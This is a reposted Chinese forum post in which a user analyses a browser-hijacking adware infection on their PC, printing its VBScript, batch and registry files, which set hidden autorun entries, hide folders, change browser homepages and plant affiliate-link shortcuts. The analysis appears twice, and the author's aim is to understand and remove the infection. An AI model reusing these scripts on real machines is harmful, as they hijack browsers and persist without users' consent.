一个恶意软件的分析
2011-04-22 13:57
337 查看
转自http://www.meiyingbbs.com/thread-14453-1-1.html
解剖恶意插件
症状：
1、开机自己加载RKLauncher.exe
2、开机自己打开世界之窗浏览器（我自己没有安装）
3、自动运行两个注册表项（因为用户账户权限，所以发现的）
4、IE主页被修改为:http://www.oly8.com
5、会在桌面上出现一个淘宝的图标，和一人IE的，开始菜单中也是
方法：
通过打开的RKLauncher.exe，我找到RKLauncher.exe在硬盘的位置C:/Program
Files/auncher/RKLauncher.exe，但是当我去找时，却没有发现这个文件夹，隐
藏文件夹也全部是显示状态，只有一个原因了，RKLauncher.exe被弄成了受保护
的操作系统文件，打开文件夹选项，去掉隐藏受保护的操作系统文件，现在文件
夹出来了，删掉，在C:/Program Files/下还发现了一个chonglang文件夹，一个
文件夹名字就知道不可能是操作系统文件夹（外国人编写的能用拼音？），打开
一看，是世界之窗浏览器。现在差不多都解决好了，但是开机后，还会运行两个
注册表项，但是用户控制详细信息（看来WIN7的这个功能还是有好处的）中会出
现程序的位置C:/Windows/xiaozhu，打开文件夹，看来里面很丰富啊。
下面我详细说一下：两个文件夹（一个是一些垃圾网址，加载到IE中的收藏的）
，一个是图标、三个VBScript的文件、两个批处理、一个配置文件、一个db文件
、三个注册表文件。（先不删除，看一下是怎么来运行的）
用记事本打开（下面我说的不对的，请留言，谢谢）
1、
3FB824C44CC7ED623B609D702462D6C8.vbs内容如下：
DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C ""C:/WINDOWS/xiaozhu
/5e643138f47194aa.bat""", 0, TRUE)
我只是大体能看懂：主要意思就是在CMD下运行C:/WINDOWS/xiaozhu
/5e643138f47194aa.bat（第4个）
2、
4acfa28ff1b446ee645bdba8bb7081c5.vbs内容如下：
on error resume next
DIM Fso,TxtFl,Str,re,WshShell,path
Set Fso = CreateObject("Scripting.FileSystemObject")
set WshShell=WScript.CreateObject("WScript.shell")
path=WshShell.ExpandEnvironmentStrings("%UserProfile%")
（这部分应该是得到你的用户文件夹的路径）
Set TxtFl = Fso.OpenTextFile (path+"/Application Data/SogouExplorer
/Config.xml",1,True)
Set re = new RegExp
re.Pattern = "homepage=""([/S/s]*?)"""
re.Global = true
re.IgnoreCase = true
Str = re.Replace ( TxtFl.ReadAll,"homepage=""http://www.l798.com/?s""")
re.Pattern = "homepagetype=""([/S/s]*?)"""
Str = re.Replace ( Str,"homepagetype=""3""")
TxtFl.Close
Set TxtFl = Fso.OpenTextFile (path+"/Application Data/SogouExplorer
/Config.xml",2,True)
TxtFl.Write Str
TxtFl.Close
这个有点长，好像是修改SougouExplorer的主页，不过我没有安装，好像也有什
么影响。
3、
4CC7ED623B609D70.bat内容如下：
attrib "C:/Program Files/chonglang/TheWorld.ini" +s +r +h
attrib "C:/Program Files/chonglang" +s +r +h
attrib "C:/Program Files/auncher/itemlist.conf" +s +r +h
attrib "C:/Program Files/auncher" +s +r +h
attrib "C:/Program Files/woxihuan/TheWorld.ini" +s +r +h
attrib "C:/Program Files/woxihuan" +s +r +h
attrib "C:/Documents and Settings/All Users/桌面/浏览器.lnk" +r
attrib "C:/Documents and Settings/All Users/桌面/淘实惠.lnk" +r
attrib "%appdata%/Microsoft/Internet Explorer/Quick Launch/浏览器.lnk"
+r
attrib "%appdata%/Microsoft/Internet Explorer/Quick Launch/淘实惠.lnk"
+r
regedit -s "C:/WINDOWS/xiaozhu/zhuyao.reg"
wscript.exe "C:/WINDOWS/xiaozhu/4acfa28ff1b446ee645bdba8bb7081c5.vbs"
先说一下attrib吧，这个是CMD下的一个很有用的命令，用来修改文件夹的属性，
+设置属性，-清除属性
r只读属性（防止被用户修改），s系统文件属性（这样能隐藏的更深），h隐藏属
性（用来隐藏）。
这个出来后，就可以把这些文件一个一个删除了。
最后两行，运行一个zhuyao.reg（第8个），
4acfa28ff1b446ee645bdba8bb7081c5.vbs（第2个）
4、
5e643138f47194aa.bat内容如下：
call C:/WINDOWS/xiaozhu/4CC7ED623B609D70.bat
copy "C:/WINDOWS/xiaozhu/360se_s.ini" "%USERPROFILE%/Application Data
/360SE/" /y
copy "C:/WINDOWS/xiaozhu/360sefav.db" "%USERPROFILE%/Application Data
/360SE/data/" /y
Reg Add "HKCU/Software/Microsoft/Windows/CurrentVersion/Explorer
/HideDesktopIcons/ClassicStartMenu" /v "{871C5380-42A0-1069-A2EA-
08002B30309D}" /t "REG_DWORD" /d "1" /f
Reg Add "HKCU/Software/Microsoft/Windows/CurrentVersion/Explorer
/HideDesktopIcons/NewStartPanel" /v "{871C5380-42A0-1069-A2EA-
08002B30309D}" /t "REG_DWORD" /d "1" /f
copy "C:/WINDOWS/xiaozhu/Fav/" "C:/Users/Administrator/Favorites" /y
copy "C:/WINDOWS/xiaozhu/Fav/" "C:/Users/Public/Favorites/" /y
@reg delete "HKEY_LOCAL_MACHINE/Software/Microsoft/Internet Explorer
/Extensions" /f
regedit -s "C:/WINDOWS/xiaozhu/gongju.reg"
wscript.exe C:/WINDOWS/xiaozhu/A60f3C.vbs
del /f /s /q "%appdata%/Microsoft/Internet Explorer/Quick Launch/*.url"
调用4CC7ED623B609D70.bat
复制C:/WINDOWS/xiaozhu/360se_s.ini到%USERPROFILE%/Application Data
/360SE/下
复制C:/WINDOWS/xiaozhu/360sefav.db到%USERPROFILE%/Application Data
/360SE/data/下
（这个我不清楚是做什么用的了，可以是改主页或者是收藏吧）
增加两个注册表项。（我不知道是做什么用的，可找到对应的，删除）
复制文件夹（一些网址）到所有用户收藏的文件夹中。
删除了一个注册表项，应该是一个IE的扩展。
运行两个文件gongju.reg（第6个），A60f3C.vbs（第5个）。
最后是删除Internet Explorer/Quick Launch/下的所有url。
5、
A60f3C.vbs内容如下：
on error resume next
Set FSO = CreateObject("scripting.filesystemobject")
Set WshShell = CreateObject("WScript.Shell")
strAllDesk=GetDrive & "/Documents and Settings/All Users/桌面/"
strDesktop = WshShell.SpecialFolders("Desktop")
strQuick=WshShell.ExpandEnvironmentStrings("%APPDATA%") & "/Microsoft
/Internet Explorer/Quick Launch"
strStartmenu = WshShell.SpecialFolders("AllUsersStartMenu")
strStart=WshShell.SpecialFolders("Startup") & "/"
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(6)
Set objFolderItem = objFolder.Self
strDesktopFld = objFolderItem.Path
strDesktopFld =Replace(Lcase(strDesktopFld),"Favorites","")
Function AddMyFaver()
on error resume next
Set myfile=FSO.CreateTextFile( strDesktopFld & "/当当网
—网上购物中心.url" ,,true)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine
"URL=http://union.dangdang.com/transfer/transfer.aspx?from=P-
275693&backurl=http://www.dangdang.com/"
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & "/凡客诚
品.url" ,,true)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine
"URL=http://www.vancl.com/WebSource/WebSource.aspx?
source=luoyefeihua&url=http://www.vancl.com/"
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & "/京东商
城.url" ,,true)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine
"URL=http://click.union.360buy.com/JdClick/?
unionId=3639&t=1&to=http://www.360buy.com"
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & "/绿色软
件站.url" ,,true)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine "URL=http://www.88down.com/"
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & "/2345网
站之家.url" ,,true)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine "URL=http://www.hao348.com/"
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & "/淘啊淘
- 淘！我喜欢.url" ,,true)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine
"URL=http://www.taobao.com/go/chn/tbk_channel/channelcode.php?
pid=mm_26101802_0_0&eventid=101329"
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & "/卓越亚
马逊.url" ,,true)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine "URL=http://www.amazon.cn/?
source=luoyefeihua-23"
myfile.Close
End Function
AddMyFaver
这些就不一一说明了，也就是增加一些IE的收藏，和桌面垃圾图标。
6、
gongju.reg内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions
/{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]
"ButtonText"="淘宝网"
"Exec"="http://www.taobao.com/go/chn/tbk_channel/channelcode.php?
pid=mm_26101802_0_0&eventid=101329"
"Icon"="C://WINDOWS//xiaozhu//icons//xihuan.ico"
"HotIcon"="C://WINDOWS//xiaozhu//icons//xihuan.ico"
"MenuStatusBar"="淘宝网"
"MenuText"="淘宝网"
"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Default Visible"="Yes"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions
/{09BA8F6D-CB54-424B-839C-C2A6C8E6B436}]
"ButtonText"="我的网址导航"
"Exec"="http://www.ha89.com?g"
"Icon"="C://WINDOWS//xiaozhu//icons//2345.ico"
"HotIcon"="C://WINDOWS//xiaozhu//icons//2345.ico"
"MenuStatusBar"="我的网址导航"
"MenuText"="我的网址导航"
"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Default Visible"="Yes"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions
/{92934D62-1F88-4153-9D6C-0FAC7263E010}]
"ButtonText"="系统之家"
"Exec"="http://www.85xp.com/"
"Icon"="C://WINDOWS//xiaozhu//icons//xtzj.ico"
"HotIcon"="C://WINDOWS//xiaozhu//icons//xtzj.ico"
"MenuStatusBar"="系统之家"
"MenuText"="系统之家"
"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Default Visible"="Yes"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions
/{CE42AF8A-56D2-4016-B6A2-73B89AB49182}]
"ButtonText"="当当网"
"Exec"="http://www.85xp.com/dang.html?g"
"Icon"="C://WINDOWS//xiaozhu//icons//dang.ico"
"HotIcon"="C://WINDOWS//xiaozhu//icons//dang.ico"
"MenuStatusBar"="当当网"
"MenuText"="当当网"
"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Default Visible"="Yes"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions
/{FA5A3315-8F56-49f5-9392-0D1FDFF652A5}]
"ButtonText"="卓越网"
"Exec"="http://www.85xp.com/joyo.html?g"
"Icon"="C://WINDOWS//xiaozhu//icons//joyo.ico"
"HotIcon"="C://WINDOWS//xiaozhu//icons//joyo.ico"
"MenuStatusBar"="卓越网"
"MenuText"="卓越网"
"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Default Visible"="Yes"
增加IE导航的，找到对应的删除。
7、
zhu.reg的内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies
/Explorer/Run/]
"O6O"="/"C://WINDOWS//xiaozhu//3FB824C44CC7ED623B609D702462D6C8.vbs/""
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies
/Explorer/Run/]
"mac"="/"C://Program Files//auncher//RKLauncher.exe/""
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies
/Explorer/Run/]
"TheWorld"="/"C://Program Files//chonglang//TheWorld.exe/""
将3FB824C44CC7ED623B609D702462D6C8.vbs、RKLauncher.exe、TheWorld.exe三
个添加到自动运行中。
8、
zhuyao.reg内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies
/Explorer/Run/]
"O6O"="/"C://WINDOWS//xiaozhu//3FB824C44CC7ED623B609D702462D6C8.vbs/""
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies
/Explorer/Run/]
"mac"="/"C://Program Files//auncher//RKLauncher.exe/""
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies
/Explorer/Run/]
"TheWorld"="/"C://Program Files//chonglang//TheWorld.exe/""
[HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main/]
"Start Page"="http://www.oly8.com"
[HKEY_USERs/.DEFAULT/Software/Microsoft/Internet Explorer/Main/]
"Start Page"="http://www.oly8.com"
[HKEY_USERs/S-1-5-18/Software/Microsoft/Internet Explorer/Main/]
"Start Page"="http://www.oly8.com"
好像跟上一个差不多，增加了几个IE的主页。找到对应注册表删除。
可能我还没有清楚干净，请高手指点。。。
解剖恶意插件
症状：
1、开机自己加载RKLauncher.exe
2、开机自己打开世界之窗浏览器（我自己没有安装）
3、自动运行两个注册表项（因为用户账户权限，所以发现的）
4、IE主页被修改为:http://www.oly8.com
5、会在桌面上出现一个淘宝的图标，和一人IE的，开始菜单中也是
方法：
通过打开的RKLauncher.exe，我找到RKLauncher.exe在硬盘的位置C:/Program
Files/auncher/RKLauncher.exe，但是当我去找时，却没有发现这个文件夹，隐
藏文件夹也全部是显示状态，只有一个原因了，RKLauncher.exe被弄成了受保护
的操作系统文件，打开文件夹选项，去掉隐藏受保护的操作系统文件，现在文件
夹出来了，删掉，在C:/Program Files/下还发现了一个chonglang文件夹，一个
文件夹名字就知道不可能是操作系统文件夹（外国人编写的能用拼音？），打开
一看，是世界之窗浏览器。现在差不多都解决好了，但是开机后，还会运行两个
注册表项，但是用户控制详细信息（看来WIN7的这个功能还是有好处的）中会出
现程序的位置C:/Windows/xiaozhu，打开文件夹，看来里面很丰富啊。
下面我详细说一下：两个文件夹（一个是一些垃圾网址，加载到IE中的收藏的）
，一个是图标、三个VBScript的文件、两个批处理、一个配置文件、一个db文件
、三个注册表文件。（先不删除，看一下是怎么来运行的）
用记事本打开（下面我说的不对的，请留言，谢谢）
1、
3FB824C44CC7ED623B609D702462D6C8.vbs内容如下：
DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C ""C:/WINDOWS/xiaozhu
/5e643138f47194aa.bat""", 0, TRUE)
我只是大体能看懂：主要意思就是在CMD下运行C:/WINDOWS/xiaozhu
/5e643138f47194aa.bat（第4个）
2、
4acfa28ff1b446ee645bdba8bb7081c5.vbs内容如下：
on error resume next
DIM Fso,TxtFl,Str,re,WshShell,path
Set Fso = CreateObject("Scripting.FileSystemObject")
set WshShell=WScript.CreateObject("WScript.shell")
path=WshShell.ExpandEnvironmentStrings("%UserProfile%")
（这部分应该是得到你的用户文件夹的路径）
Set TxtFl = Fso.OpenTextFile (path+"/Application Data/SogouExplorer
/Config.xml",1,True)
Set re = new RegExp
re.Pattern = "homepage=""([/S/s]*?)"""
re.Global = true
re.IgnoreCase = true
Str = re.Replace ( TxtFl.ReadAll,"homepage=""http://www.l798.com/?s""")
re.Pattern = "homepagetype=""([/S/s]*?)"""
Str = re.Replace ( Str,"homepagetype=""3""")
TxtFl.Close
Set TxtFl = Fso.OpenTextFile (path+"/Application Data/SogouExplorer
/Config.xml",2,True)
TxtFl.Write Str
TxtFl.Close
这个有点长，好像是修改SougouExplorer的主页，不过我没有安装，好像也有什
么影响。
3、
4CC7ED623B609D70.bat内容如下：
attrib "C:/Program Files/chonglang/TheWorld.ini" +s +r +h
attrib "C:/Program Files/chonglang" +s +r +h
attrib "C:/Program Files/auncher/itemlist.conf" +s +r +h
attrib "C:/Program Files/auncher" +s +r +h
attrib "C:/Program Files/woxihuan/TheWorld.ini" +s +r +h
attrib "C:/Program Files/woxihuan" +s +r +h
attrib "C:/Documents and Settings/All Users/桌面/浏览器.lnk" +r
attrib "C:/Documents and Settings/All Users/桌面/淘实惠.lnk" +r
attrib "%appdata%/Microsoft/Internet Explorer/Quick Launch/浏览器.lnk"
+r
attrib "%appdata%/Microsoft/Internet Explorer/Quick Launch/淘实惠.lnk"
+r
regedit -s "C:/WINDOWS/xiaozhu/zhuyao.reg"
wscript.exe "C:/WINDOWS/xiaozhu/4acfa28ff1b446ee645bdba8bb7081c5.vbs"
先说一下attrib吧，这个是CMD下的一个很有用的命令，用来修改文件夹的属性，
+设置属性，-清除属性
r只读属性（防止被用户修改），s系统文件属性（这样能隐藏的更深），h隐藏属
性（用来隐藏）。
这个出来后，就可以把这些文件一个一个删除了。
最后两行，运行一个zhuyao.reg（第8个），
4acfa28ff1b446ee645bdba8bb7081c5.vbs（第2个）
4、
5e643138f47194aa.bat内容如下：
call C:/WINDOWS/xiaozhu/4CC7ED623B609D70.bat
copy "C:/WINDOWS/xiaozhu/360se_s.ini" "%USERPROFILE%/Application Data
/360SE/" /y
copy "C:/WINDOWS/xiaozhu/360sefav.db" "%USERPROFILE%/Application Data
/360SE/data/" /y
Reg Add "HKCU/Software/Microsoft/Windows/CurrentVersion/Explorer
/HideDesktopIcons/ClassicStartMenu" /v "{871C5380-42A0-1069-A2EA-
08002B30309D}" /t "REG_DWORD" /d "1" /f
Reg Add "HKCU/Software/Microsoft/Windows/CurrentVersion/Explorer
/HideDesktopIcons/NewStartPanel" /v "{871C5380-42A0-1069-A2EA-
08002B30309D}" /t "REG_DWORD" /d "1" /f
copy "C:/WINDOWS/xiaozhu/Fav/" "C:/Users/Administrator/Favorites" /y
copy "C:/WINDOWS/xiaozhu/Fav/" "C:/Users/Public/Favorites/" /y
@reg delete "HKEY_LOCAL_MACHINE/Software/Microsoft/Internet Explorer
/Extensions" /f
regedit -s "C:/WINDOWS/xiaozhu/gongju.reg"
wscript.exe C:/WINDOWS/xiaozhu/A60f3C.vbs
del /f /s /q "%appdata%/Microsoft/Internet Explorer/Quick Launch/*.url"
调用4CC7ED623B609D70.bat
复制C:/WINDOWS/xiaozhu/360se_s.ini到%USERPROFILE%/Application Data
/360SE/下
复制C:/WINDOWS/xiaozhu/360sefav.db到%USERPROFILE%/Application Data
/360SE/data/下
（这个我不清楚是做什么用的了，可以是改主页或者是收藏吧）
增加两个注册表项。（我不知道是做什么用的，可找到对应的，删除）
复制文件夹（一些网址）到所有用户收藏的文件夹中。
删除了一个注册表项，应该是一个IE的扩展。
运行两个文件gongju.reg（第6个），A60f3C.vbs（第5个）。
最后是删除Internet Explorer/Quick Launch/下的所有url。
5、
A60f3C.vbs内容如下：
on error resume next
Set FSO = CreateObject("scripting.filesystemobject")
Set WshShell = CreateObject("WScript.Shell")
strAllDesk=GetDrive & "/Documents and Settings/All Users/桌面/"
strDesktop = WshShell.SpecialFolders("Desktop")
strQuick=WshShell.ExpandEnvironmentStrings("%APPDATA%") & "/Microsoft
/Internet Explorer/Quick Launch"
strStartmenu = WshShell.SpecialFolders("AllUsersStartMenu")
strStart=WshShell.SpecialFolders("Startup") & "/"
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(6)
Set objFolderItem = objFolder.Self
strDesktopFld = objFolderItem.Path
strDesktopFld =Replace(Lcase(strDesktopFld),"Favorites","")
Function AddMyFaver()
on error resume next
Set myfile=FSO.CreateTextFile( strDesktopFld & "/当当网
—网上购物中心.url" ,,true)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine
"URL=http://union.dangdang.com/transfer/transfer.aspx?from=P-
275693&backurl=http://www.dangdang.com/"
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & "/凡客诚
品.url" ,,true)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine
"URL=http://www.vancl.com/WebSource/WebSource.aspx?
source=luoyefeihua&url=http://www.vancl.com/"
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & "/京东商
城.url" ,,true)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine
"URL=http://click.union.360buy.com/JdClick/?
unionId=3639&t=1&to=http://www.360buy.com"
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & "/绿色软
件站.url" ,,true)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine "URL=http://www.88down.com/"
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & "/2345网
站之家.url" ,,true)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine "URL=http://www.hao348.com/"
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & "/淘啊淘
- 淘！我喜欢.url" ,,true)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine
"URL=http://www.taobao.com/go/chn/tbk_channel/channelcode.php?
pid=mm_26101802_0_0&eventid=101329"
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & "/卓越亚
马逊.url" ,,true)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine "URL=http://www.amazon.cn/?
source=luoyefeihua-23"
myfile.Close
End Function
AddMyFaver
这些就不一一说明了，也就是增加一些IE的收藏，和桌面垃圾图标。
6、
gongju.reg内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions
/{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]
"ButtonText"="淘宝网"
"Exec"="http://www.taobao.com/go/chn/tbk_channel/channelcode.php?
pid=mm_26101802_0_0&eventid=101329"
"Icon"="C://WINDOWS//xiaozhu//icons//xihuan.ico"
"HotIcon"="C://WINDOWS//xiaozhu//icons//xihuan.ico"
"MenuStatusBar"="淘宝网"
"MenuText"="淘宝网"
"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Default Visible"="Yes"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions
/{09BA8F6D-CB54-424B-839C-C2A6C8E6B436}]
"ButtonText"="我的网址导航"
"Exec"="http://www.ha89.com?g"
"Icon"="C://WINDOWS//xiaozhu//icons//2345.ico"
"HotIcon"="C://WINDOWS//xiaozhu//icons//2345.ico"
"MenuStatusBar"="我的网址导航"
"MenuText"="我的网址导航"
"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Default Visible"="Yes"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions
/{92934D62-1F88-4153-9D6C-0FAC7263E010}]
"ButtonText"="系统之家"
"Exec"="http://www.85xp.com/"
"Icon"="C://WINDOWS//xiaozhu//icons//xtzj.ico"
"HotIcon"="C://WINDOWS//xiaozhu//icons//xtzj.ico"
"MenuStatusBar"="系统之家"
"MenuText"="系统之家"
"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Default Visible"="Yes"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions
/{CE42AF8A-56D2-4016-B6A2-73B89AB49182}]
"ButtonText"="当当网"
"Exec"="http://www.85xp.com/dang.html?g"
"Icon"="C://WINDOWS//xiaozhu//icons//dang.ico"
"HotIcon"="C://WINDOWS//xiaozhu//icons//dang.ico"
"MenuStatusBar"="当当网"
"MenuText"="当当网"
"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Default Visible"="Yes"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions
/{FA5A3315-8F56-49f5-9392-0D1FDFF652A5}]
"ButtonText"="卓越网"
"Exec"="http://www.85xp.com/joyo.html?g"
"Icon"="C://WINDOWS//xiaozhu//icons//joyo.ico"
"HotIcon"="C://WINDOWS//xiaozhu//icons//joyo.ico"
"MenuStatusBar"="卓越网"
"MenuText"="卓越网"
"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Default Visible"="Yes"
增加IE导航的，找到对应的删除。
7、
zhu.reg的内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies
/Explorer/Run/]
"O6O"="/"C://WINDOWS//xiaozhu//3FB824C44CC7ED623B609D702462D6C8.vbs/""
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies
/Explorer/Run/]
"mac"="/"C://Program Files//auncher//RKLauncher.exe/""
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies
/Explorer/Run/]
"TheWorld"="/"C://Program Files//chonglang//TheWorld.exe/""
将3FB824C44CC7ED623B609D702462D6C8.vbs、RKLauncher.exe、TheWorld.exe三
个添加到自动运行中。
8、
zhuyao.reg内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies
/Explorer/Run/]
"O6O"="/"C://WINDOWS//xiaozhu//3FB824C44CC7ED623B609D702462D6C8.vbs/""
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies
/Explorer/Run/]
"mac"="/"C://Program Files//auncher//RKLauncher.exe/""
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies
/Explorer/Run/]
"TheWorld"="/"C://Program Files//chonglang//TheWorld.exe/""
[HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main/]
"Start Page"="http://www.oly8.com"
[HKEY_USERs/.DEFAULT/Software/Microsoft/Internet Explorer/Main/]
"Start Page"="http://www.oly8.com"
[HKEY_USERs/S-1-5-18/Software/Microsoft/Internet Explorer/Main/]
"Start Page"="http://www.oly8.com"
好像跟上一个差不多，增加了几个IE的主页。找到对应注册表删除。
可能我还没有清楚干净，请高手指点。。。
内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理 
相关文章推荐
- 也谈Elecard码流分析软件中的一个小bug
- 3D打印机切片引擎Cura分析<二>记一个小软件
- FLARE VM：Windows恶意软件分析
- 使用自动化恶意软件分析cuckoo分析exe程序
- 论文分析---APP恶意软件检测
- 中国区TopGrossing榜上百美金软件恶意冲榜行为分析
- 【转载】2010 BlackHat - 即时恶意软件分析和控制方案
- 一个软件项目开始应该怎么入手分析，搭建
- Malheur 0.5.3 发布，恶意软件分析工具
- 恶意软件分析环境cuckoo+malwasm
- 寻编程高手做一个彩票预测分析软件（很简单的软件，但非常有用，也欢迎公司合作）
- 从恶意软件获得的新姿势——通过rundll32.exe执行js原理详细分析
- PEframe - 工具对恶意软件执行静态分析
- Droidbox恶意软件动态分析环境搭建
- Android逆向之分析某锁机恶意软件
- 恶意软件分析---Android设备管理器
- 分析一个嵌入payload的恶意.lnk文件
- 好东西是要分享的，下了一个优秀的USB PC分析软件，不逊于Bus Hound
- 自己动手搭建恶意软件样本行为分析环境